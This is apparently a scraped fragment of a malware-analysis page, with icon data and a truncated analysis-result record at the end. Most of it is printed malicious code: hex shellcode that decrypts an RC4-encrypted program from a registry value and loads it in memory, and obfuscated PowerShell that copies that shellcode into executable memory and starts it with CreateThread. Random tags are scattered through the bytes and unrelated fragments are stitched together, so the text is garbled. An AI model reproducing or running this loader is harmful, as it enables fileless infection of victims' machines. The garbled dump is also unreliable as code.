<#qj#>0x83 0xC4 <#is#>0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 <#hr#>0x69 0x72 0x74 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C <#hpa#>0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x6C 0x6C 0x6F 0x63 0x75 <#pn#>0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 <#ou#>0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B <#egl#>0x02 0x03 0x45 0xFC 0x89 0x45 0xA8 0x81 0x39 0x45 0x78 0x69 0x74 0x75 0x63 0x8D 0x41 0x04 0x81 0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 0x08 0x80 0x38 0x65 0x75 0x50 0x8D 0x41 0x09 0x80 0x38 <#ix#>0x73 0x75 0x48 0x8D 0x41 0x0A 0x80 0x38 0x73 0x75 0x40 0x83 0xC1 0x0B 0x80 0x39 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#ync#>0x83 0xC4 <#js#>0x08 0x66 0x8B <#noj#>0x00 0x8B 0x55 0xCC 0x8B <#se#>0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF <#hs#>0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF <#pn#>0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x30 0xFF 0xFF 0xFF <#wya#>0x64 <#pw#>0xC6 0x85 0x31 0xFF 0xFF 0xFF 0x76 0xC6 <#loy#>0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF 0xFF 0xFF 0x69 0xC6 0x85 0x35 <#pwv#>0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF 0xFF 0xFF 0x32 0xC6 0x85 0x37 0xFF 0xFF 0xFF 0x2E 0xC6 0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3B 0xFF 0xFF 0xFF 0x00 0x8D 0x85 0x2F 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xBC 0x8B 0xD8 0x85 <#btr#>0xDB 0x75 0x05 0x6A <#qfx#>0x00 0xFF 0x55 0xA4 0x89 <#mz#>0x5D 0xD4 <#nw#>0x8B 0x45 0xD4 <#aq#>0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x4F <#ve#>0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B <#use#>0x40 <#cgh#>0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0xC3 0x89 <#asn#>0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF <#fhy#>0xFF 0x33 0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B <#caf#>0x40 <#ont#>0x20 0x33 0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 0x13 0x54 0x24 <#nk#>0x04 0x83 <#dcb#>0xC4 0x08 0x8B 0x08 0x03 0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 0x38 0x70 0x65 0x6E 0x4B 0x75 0x50 0x8D 0x41 0x08 0x81 0x38 0x65 0x79 0x45 0x78 0x75 0x45 0x8D 0x41 0x0C 0x80 0x38 0x41 0x75 0x3D 0x8D 0x41 0x0D 0x80 0x38 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B <#vpz#>0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 <#nc#>0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0xC3 0x89 0x45 0xB0 0x81 <#yz#>0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 0x65 0x72 0x79 0x75 0x53 0x8D <#drl#>0x41 0x08 <#lkp#>0x81 0x38 0x56 <#prz#>0x61 0x6C 0x75 <#yt#>0x75 0x48 0x8D 0x41 0x0C 0x81 <#lvd#>0x38 0x65 0x45 0x78 0x41 0x75 0x3D 0x83 <#pwg#>0xC1 0x10 0x80 0x39 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C <#rt#>0x03 0xD3 0x0F 0xB7 0xC0 0xC1 <#dc#>0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF <#ozo#>0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 <#cvd#>0x00 0x89 <#pg#>0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE4 0x00 0x00 0x00 0x89 0x85 0x78 0xFF 0xFF 0xFF 0x33 0xDB <#dm#>0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 <#rp#>0x60 0xFF 0xFF <#wo#>0xFF 0x8D 0x85 <#srs#>0x70 0xFF 0xFF <#ubh#>0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 <#mbl#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 <#sc#>0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF 0xFF 0x00 0x74 0x31 <#mch#>0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF <#xrd#>0xFF 0xFF 0x50 <#fh#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 <#xpe#>0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 <#jl#>0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 0x00 0x00 0x33 0xC0 0x89 0x85 <#ko#>0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A <#ntb#>0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 <#bw#>0x68 <#st#>0x01 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 <#agd#>0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 <#cg#>0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 <#tl#>0xAC 0x85 0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 0x30 <#fkf#>0x00 0x00 0x8B 0x85 <#lbz#>0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 <#iym#>0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF <#so#>0xFF 0x00 0x74 0x31 <#ouu#>0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 <#uz#>0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC <#bu#>0x85 0xC0 0x75 0x02 0xB3 0x01 0x84 0xDB 0x75 0x05 0x6A <#xz#>0x00 0xFF 0x55 0xA4 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 <#xcj#>0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF <#iy#>0x89 0x31 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 <#do#>0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0xFF 0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 0xD2 <#jhq#>0xF7 0xF7 0x33 0xC0 0x8A 0x84 0x15 0x00 0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 0x8B 0x94 0x9D 0x00 0xFB <#ex#>0xFF 0xFF 0x89 0x11 0x25 0xFF <#ko#>0x00 0x00 0x00 0x89 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xB5 0x33 0xDB 0x33 0xFF <#si#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 <#pgp#>0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A <#cg#>0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF 0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF <#nd#>0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF <#evv#>0x89 <#ijv#>0x85 0x4C 0xFF 0xFF <#rdm#>0xFF 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 <#mh#>0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C <#ce#>0xFF 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0xEB 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x60 <#cj#>0xFF 0xFF <#ea#>0xFF 0x48 0x85 0xC0 0x72 0x74 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF <#hsq#>0x33 0xF6 0x43 <#zn#>0x81 0xE3 <#szu#>0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 <#pyc#>0xFB 0xFF 0xFF 0x81 0xE7 0xFF 0x00 0x00 0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B <#ktz#>0x94 0xBD 0x00 0xFB 0xFF <#vse#>0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x8A 0x04 0x30 <#qis#>0x8B 0x94 <#ugf#>0x9D 0x00 0xFB 0xFF 0xFF 0x03 0x94 0xBD 0x00 0xFB 0xFF 0xFF 0x81 0xE2 0xFF 0x00 0x00 0x00 0x32 0x84 0x95 0x00 0xFB 0xFF 0xFF 0x8B 0x95 0x4C 0xFF 0xFF 0xFF 0x88 <#cck#>0x04 0x32 <#ek#>0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0x95 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F <#zzk#>0x85 0xDA 0x02 0x00 0x00 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C 0xFF 0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x58 0x50 0x03 0xDB 0x6A 0x40 0x68 0x00 0x30 0x00 <#ut#>0x00 0x53 <#jc#>0x6A 0x00 0xFF 0x55 0xA8 0x89 0x45 0xF8 0x83 0x7D 0xF8 0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#wg#>0x54 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 0x00 0x50 0x8B 0x45 0xD0 0x8B <#wa#>0x40 0x50 0x03 0x45 0xF8 <#du#>0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 0xE0 0x00 0x00 0x00 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x83 0xC0 0x04 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x60 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x7A 0x50 0x8B <#cqw#>0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 <#zrr#>0xF8 0x83 0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 <#rz#>0x82 0xE0 0x00 <#wfq#>0x00 0x00 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x0F 0xB7 0x40 0x06 0x48 0x85 0xC0 0x7C 0x5F 0x40 0x89 0x85 0x3C 0xFF <#ggv#>0xFF 0xFF 0x33 <#fpj#>0xF6 0x8B 0x55 0xD4 0x8B 0x52 0x3C 0x8B <#dov#>0x85 0x4C 0xFF 0xFF 0xFF 0x03 0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B 0xCE 0xC1 0xE1 0x03 0x8D 0x0C 0x89 0x03 0xD1 0x89 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x95 0x50 0xFF 0xFF 0xFF <#bl#>0x8B 0x52 0x10 0x52 0x8B 0x95 <#bhd#>0x50 0xFF <#udi#>0xFF 0xFF 0x8B 0x52 0x14 0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF 0xFF 0x8B 0x40 0x0C 0x03 0x45 <#bw#>0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xAA 0x8B <#xp#>0x45 0xD0 0x8B 0x40 0x34 0x3B 0x45 0xF8 0x0F <#yye#>0x84 0xCB 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x2B 0x50 0x34 0x89 0x55 <#vp#>0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0xA0 0x00 0x00 0x00 0x03 0x45 0xF0 0x89 0x45 0xEC 0xEB 0x6E 0x8B 0x45 0xEC 0x8B <#hok#>0x00 0x03 0x45 0xF0 0x89 0x45 0xE8 0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 0x08 0xD1 <#jwj#>0xE8 0x48 0x85 0xC0 0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x8B 0x45 0xE4 0x66 0x8B 0x10 0x0F 0xB7 0xC2 0xC1 0xE8 0x0C 0x8B 0xCA 0x66 0x81 0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 0x83 0xF8 0x03 0x75 0x10 0x8B <#bi#>0x45 0xE8 0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B 0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xC9 <#lyf#>0x8B 0x45 0xEC 0x8B 0x40 0x04 0x03 0x45 0xEC 0x89 0x45 0xEC 0x8B <#wc#>0x45 0xEC 0x83 0x38 0x00 0x77 <#if#>0x8A 0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x89 0x50 0x34 0x68 0xF8 0x00 0x00 0x00 0x8B 0x45 0xD0 0x50 0x8B 0x45 0xD4 0x8B 0x40 0x3C 0x03 0x45 0xF8 <#lek#>0x50 0xFF 0x95 0x78 0xFF <#xfe#>0xFF 0xFF 0x8B 0x45 0xD0 0x05 0x80 0x00 0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 <#kcn#>0x83 0x78 0x04 0x00 0x0F 0x86 0x9E 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x80 0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB <#mg#>0x7F 0x03 0x7D 0xF8 0x57 0xFF 0x55 0xBC 0x8B <#bok#>0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 0x45 0xF8 0x89 0x45 0x88 0xEB 0x0C <#cpm#>0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 0xF8 0x89 0x45 0x88 0x8B 0x45 0x8C 0x8B 0x40 <#zfn#>0x10 0x03 0x45 0xF8 0x89 0x45 0x84 <#mzs#>0xEB <#euv#>0x37 0x8B <#ue#>0x45 0x88 0x8B 0x30 0xF7 0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF <#gza#>0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 0xEB 0x10 0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 0x53 0xFF <#bxv#>0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 <#ffa#>0x83 0x45 0x88 0x04 0x83 0x45 0x84 <#ym#>0x04 0x8B 0x45 0x88 0x83 0x38 0x00 0x75 0xC1 0x83 0x45 0x8C 0x14 0x8B 0x45 0x8C 0x8B 0x78 0x0C 0x85 0xFF 0x0F 0x85 0x73 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x8B 0x40 0x28 <#ub#>0x03 0x45 0xF8 0x89 0x45 <#gf#>0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F 0x5E 0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 <#jox#>0x74 0x77 0x61 0x72 0x65 0x5C 0x6D 0x77 0x41 0x44 0x51 0x57 0x4B 0x49 0x36 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x36 0x39 0x34 0x63 0x56 0x77 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xC1 0xB6 0x94 0x5F 0x90 0x36 0xF4 0xA1 0x3D 0x1E 0x42 0xC1 0xED 0xD0 0x7C 0x15 0xA4 0xC0 0x8B 0x1D 0x9E 0x5F 0xC8 0xF1 0xD8 0x00 <#fpy#>0x59 0xBB 0xDB <#hei#>0x00 0x00 <#upk#>0x00 <#nzs#>0x00 0x00 <#ra#>0x00 0x00 0x00 0x00 0x00 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C 0x00 0x3C 0x00 0x3A 0x00 0x3A 0x00 0x3E <#kj#>0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 <#htf#>0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 0x37 0x00 0x32 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#exg#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1D 0x00 0x00 0x00 0x00 0xAA 0x06 0x00 0x55 0x8B 0xEC 0x60 0x8B 0x7D 0x08 0x8B <#ufw#>0x75 <#gy#>0x0C 0x8B 0x4D 0x10 0xF3 0xA4 0x61 0x5D 0xC2 0x0C 0x00 0x2A 0xB1 0x27 0xB7 0x1A 0xEA 0x4F 0x60 0x02 0xDB 0x04 0x6C 0x95 <#wtp#>0x25 0xB1 0x3F 0xD0 0x82 0xD9 0x51 0x6C 0x43 0x5C 0x42 0xC2 0xF9 0xC8 0x43 <#egt#>0x35 0x9A 0xF6 0x9B 0x56 0x8B 0x3E 0x7D 0x6E 0x5D 0x01 0x78 0x1C 0x27 0x7B 0x21 0x26 0xCF 0xF7 0xDA 0xC3 0xA5 0xE1 <#hec#>0xCD 0xEB 0x1D 0x53 0x71 0x77 0x9E 0x19 0x45 <#ef#>0x1B 0xA9 0x4D 0x89 0x8E 0xC8 0xFC 0x28 0x6A 0x06 0x7C 0x11<#qe#>; #ipxrpik $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #grzaui if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #tqsmkpdif for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #lxgkwlgvcz ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #znqnecu }sleep(1200);}catch{}exit; #dgzf #upsihgtncxhauyqyxwkzihqrje")5c:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAAAAAAAAAAAAMwAAAACP+AAAAAAAAAAAADsxAAAI//+AAAAAAAAAAAA7uzAAj///+AAAAAAAAAAAC7u7MAj///+AAAAAAAAAAAC7u7MAf///+AAAAAAAAAAAC7u7swCP//+AAAAAAAAAAAC7u7sxB///+AAAAAAAAAAACLu7uzAI//+AAAAAAAAAjwCLu7uzEH//+AAAAAAACPcACIuzu7MAj/+AAAAAAI/wEzOIizu7swf/+AAAAAj/8Du7uIiLO7sw//+AAAAI//A7u7uIiIg7MP//gAAAAI/wO7d3j4iIgzD/+AAAAAAI9wOIj///iIhw/4AAAAAAAI+AB4iP//hwB/gAAAAAAAAI/3AHiIg7sQiAAAAAAAAAAI//cAiIg7sQAAAAAAAAAAAI//hweIi7sQAAAAAAAAAAAI//+AB4i7sQAAAAAAAAAAAI///3AHi7sAAAAAAAAAAAAI////cBi7sAAAAAAAAAAAAI//+AAAeLAAAAAAAAAAAAAI/4AAAAAwAAAAAAAAAAAAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//n//5/w//+P4H//g8A//4GAH/+AAA//gAAH/4AAA/+AAAH/wAAA/+AAAH/AAAA/gAAAHwAAAA4AAAAEAAAAAAAAAAIAAAAHAAAAD4AAAB/AAAA/4AAAf/AAAP/4AAB//AAAP/4AAD//AAA//4AQP//AOD//4H4///D////5//w==5d:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAAAAAAAAAAAAMwAAAACP+AAAAAAAAAAAADsxAAAI//+AAAAAAAAAAAA7uzAAj///+AAAAAAAAAAAC7u7MAj///+AAAAAAAAAAAC7u7MAf///+AAAAAAAAAAAC7u7swCP//+AAAAAAAAAAAC7u7sxB///+AAAAAAAAAAACLu7uzAI//+AAAAAAAAAjwCLu7uzEH//+AAAAAAACPcACIuzu7MAj/+AAAAAAI/wEzOIizu7swf/+AAAAAj/8Du7uIiLO7sw//+AAAAI//A7u7uIiIg7MP//gAAAAI/wO7d3j4iIgzD/+AAAAAAI9wOIj///iIhw/4AAAAAAAI+AB4iP//hwB/gAAAAAAAAI/3AHiIg7sQiAAAAAAAAAAI//cAiIg7sQAAAAAAAAAAAI//hweIi7sQAAAAAAAAAAAI//+AB4i7sQAAAAAAAAAAAI///3AHi7sAAAAAAAAAAAAI////cBi7sAAAAAAAAAAAAI//+AAAeLAAAAAAAAAAAAAI/4AAAAAwAAAAAAAAAAAAAIgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//n//5/w//+P4H//g8A//4GAH/+AAA//gAAH/4AAA/+AAAH/wAAA/+AAAH/AAAA/gAAAHwAAAA4AAAAEAAAAAAAAAAIAAAAHAAAAD4AAAB/AAAA/4AAAf/AAAP/4AAB//AAAP/4AAD//AAA//4AQP//AOD//4H4///D////5//w==1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"e93ea2c9e689a35ef77e597a4cf34409f9c02dd74790716eae060304995d6289","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"S